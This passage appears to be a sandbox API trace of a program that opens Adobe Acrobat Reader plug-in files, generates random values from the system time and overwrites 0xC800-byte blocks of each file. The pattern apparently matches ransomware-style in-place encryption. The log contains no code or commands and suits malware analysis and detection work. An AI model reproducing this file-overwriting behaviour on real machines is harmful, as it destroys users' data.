	[0094.115] ReadFile (in: hFile=0xf74, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f43faac, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2f43faac*=0xc800, lpOverlapped=0x0) returned 1
	[0094.307] SetFilePointerEx (in: hFile=0xf74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.307] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61928
	[0094.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d887b0
	[0094.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88aa8) returned 1
	[0094.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.309] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.309] WriteFile (hFile=0xf74, lpBuffer=0x4f61928, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f43faac, lpOverlapped=0x0) 

Thread:
	id = 1383
	os_tid = 0x21bc

	[0094.051] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api")) returned 0x20
	[0094.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api", dwFileAttributes=0x20) returned 1
	[0094.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DigSig.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\digsig.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf70
	[0094.051] GetFileSizeEx (in: hFile=0xf70, lpFileSize=0x2f4bfc50 | out: lpFileSize=0x2f4bfc50*=1334883) returned 1
	[0094.052] SetFilePointerEx (in: hFile=0xf70, liDistanceToMove=0x145e5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.052] ReadFile (in: hFile=0xf70, lpBuffer=0x2f4bfbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f4bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x2f4bfbd4*, lpNumberOfBytesRead=0x2f4bfbd0*=0x4, lpOverlapped=0x0) returned 1
	[0094.291] SetFilePointerEx (in: hFile=0xf70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.291] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88a58
	[0094.292] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.292] NtQuerySystemTime (in: CurrentTime=0x2f4bfbb0 | out: CurrentTime=0x2f4bfbb0*=132251868210252686) returned 0x0
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xca95cd47
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x8ef74102
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x852f1e75
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x2b219194
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x1067c257
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x867b86d7
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xea1c89dc
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x791f8489
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x98f23d6f
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x80384133
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xcfb59cfd
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x6f83a005
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x8044aee1
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x53310817
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xa6c4e54a
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xdc0fdb20
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xc3f8b8d8
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x7e76c2b4
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x7f212c2f
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x4d147a2c
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x2205e066
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x9a1d4539
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x2eeb8f70
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x3e512ad6
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x8063b72b
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x4854625e
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x8a2770ec
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xa8feff1
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x57f132bd
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xc938409a
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0x2835bf5
	[0094.292] RtlRandom (in: Seed=0x2f4bfbbc | out: Seed=0x2f4bfbbc) returned 0xbd38ffa4
	[0094.302] SetFilePointerEx (in: hFile=0xf70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.302] ReadFile (in: hFile=0xf70, lpBuffer=0x4f48918, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f4bfb68, lpOverlapped=0x0 | out: lpBuffer=0x4f48918*, lpNumberOfBytesRead=0x2f4bfb68*=0xc800, lpOverlapped=0x0) returned 1
	[0094.363] SetFilePointerEx (in: hFile=0xf70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.364] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4838020
	[0094.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c38
	[0094.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.365] WriteFile (hFile=0xf70, lpBuffer=0x4838020, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f4bfb68, lpOverlapped=0x0) 

Thread:
	id = 1384
	os_tid = 0x21c0

	[0094.053] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api")) returned 0x20
	[0094.053] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api", dwFileAttributes=0x20) returned 1
	[0094.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DropboxStorage.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dropboxstorage.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf6c
	[0094.054] GetFileSizeEx (in: hFile=0xf6c, lpFileSize=0x2f53fd64 | out: lpFileSize=0x2f53fd64*=193635) returned 1
	[0094.054] SetFilePointerEx (in: hFile=0xf6c, liDistanceToMove=0x2f45f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.054] ReadFile (in: hFile=0xf6c, lpBuffer=0x2f53fce8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f53fce4, lpOverlapped=0x0 | out: lpBuffer=0x2f53fce8*, lpNumberOfBytesRead=0x2f53fce4*=0x4, lpOverlapped=0x0) returned 1
	[0094.271] SetFilePointerEx (in: hFile=0xf6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d889b8
	[0094.271] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.271] NtQuerySystemTime (in: CurrentTime=0x2f53fcc4 | out: CurrentTime=0x2f53fcc4*=132251868210096401) returned 0x0
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xabde7668
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x2dada2d4
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x9453ba20
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x371e72f
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xed2cdfd4
	[0094.271] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x101c5ef8
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x8686f083
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xacad6abd
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xae6a5423
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x53a4bc4b
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xc452fe1
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xdbdd7a85
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xea825152
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x68fa5dda
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x99f75910
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x4b244fb0
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xc2e62602
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x11df00f0
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x71e53bbe
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x4ea963da
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x81bf808
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x93aa780a
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x123c43c7
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xad152ee6
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x71dba1f0
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xe0007be5
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xfe20e041
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xd12b71fd
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x582327d7
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0x48846d31
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xe92fce77
	[0094.272] RtlRandom (in: Seed=0x2f53fcd0 | out: Seed=0x2f53fcd0) returned 0xca582b08
	[0094.281] SetFilePointerEx (in: hFile=0xf6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.281] ReadFile (in: hFile=0xf6c, lpBuffer=0x5066060, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f53fca4, lpOverlapped=0x0 | out: lpBuffer=0x5066060*, lpNumberOfBytesRead=0x2f53fca4*=0xc800, lpOverlapped=0x0) returned 1
	[0094.359] SetFilePointerEx (in: hFile=0xf6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.359] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.359] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.360] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x482b818
	[0094.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c10
	[0094.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.361] WriteFile (hFile=0xf6c, lpBuffer=0x482b818, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f53fca4, lpOverlapped=0x0) 

Thread:
	id = 1385
	os_tid = 0x21c4

	[0094.055] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api")) returned 0x20
	[0094.055] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api", dwFileAttributes=0x20) returned 1
	[0094.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\dva.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8a4
	[0094.056] GetFileSizeEx (in: hFile=0x8a4, lpFileSize=0x2f5bfbfc | out: lpFileSize=0x2f5bfbfc*=128099) returned 1
	[0094.056] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x1f45f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.056] ReadFile (in: hFile=0x8a4, lpBuffer=0x2f5bfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f5bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2f5bfb80*, lpNumberOfBytesRead=0x2f5bfb7c*=0x4, lpOverlapped=0x0) returned 1
	[0094.250] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88918
	[0094.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.250] NtQuerySystemTime (in: CurrentTime=0x2f5bfb5c | out: CurrentTime=0x2f5bfb5c*=132251868209940189) returned 0x0
	[0094.250] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x5e433a8
	[0094.250] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x38d26174
	[0094.250] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xc11a43ba
	[0094.250] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x24423dea
	[0094.250] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xcc780e5f
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x89bfe804
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x2459ef46
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x9a362243
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x9750e827
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x46bc47c8
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xf178c2ae
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xc7bf0c08
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xa5f0eadd
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x8dc9b722
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xdabef9aa
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xc619cdc9
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x523d43db
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xa5472573
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x44346dbd
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xaa0832da
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x797be4ca
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x11907a06
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x6d99935e
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x932f9620
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xf7c8c405
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x4959d44a
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x1b03a027
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x3f24d195
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x22cbe931
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x6d5db155
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0x80d52b2a
	[0094.251] RtlRandom (in: Seed=0x2f5bfb68 | out: Seed=0x2f5bfb68) returned 0xea65026e
	[0094.260] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.260] ReadFile (in: hFile=0x8a4, lpBuffer=0x48ae868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f5bfb3c, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesRead=0x2f5bfb3c*=0xc800, lpOverlapped=0x0) returned 1
	[0094.350] SetFilePointerEx (in: hFile=0x8a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.351] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0094.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88bc0
	[0094.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.352] WriteFile (hFile=0x8a4, lpBuffer=0x4978038, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f5bfb3c, lpOverlapped=0x0) 

Thread:
	id = 1386
	os_tid = 0x21c8

	[0094.057] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api")) returned 0x20
	[0094.057] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api", dwFileAttributes=0x20) returned 1
	[0094.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf68
	[0094.057] GetFileSizeEx (in: hFile=0xf68, lpFileSize=0x2f63f924 | out: lpFileSize=0x2f63f924*=45667) returned 1
	[0094.057] SetFilePointerEx (in: hFile=0xf68, liDistanceToMove=0xb25f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.057] ReadFile (in: hFile=0xf68, lpBuffer=0x2f63f8a8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f63f8a4, lpOverlapped=0x0 | out: lpBuffer=0x2f63f8a8*, lpNumberOfBytesRead=0x2f63f8a4*=0x4, lpOverlapped=0x0) returned 1
	[0094.281] SetFilePointerEx (in: hFile=0xf68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.281] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88a08
	[0094.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.282] NtQuerySystemTime (in: CurrentTime=0x2f63f884 | out: CurrentTime=0x2f63f884*=132251868210252686) returned 0x0
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x37243276
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x33f6fbc
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x62d74228
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x8ce29ce
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x80673bbd
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x61c39757
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xa9862291
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x43526f4e
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xff7a96b
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x4a65c00a
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x3c385dc1
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x6047e2c
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x709902dc
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xb2293dd9
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xdb1bb650
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xaaa69a8a
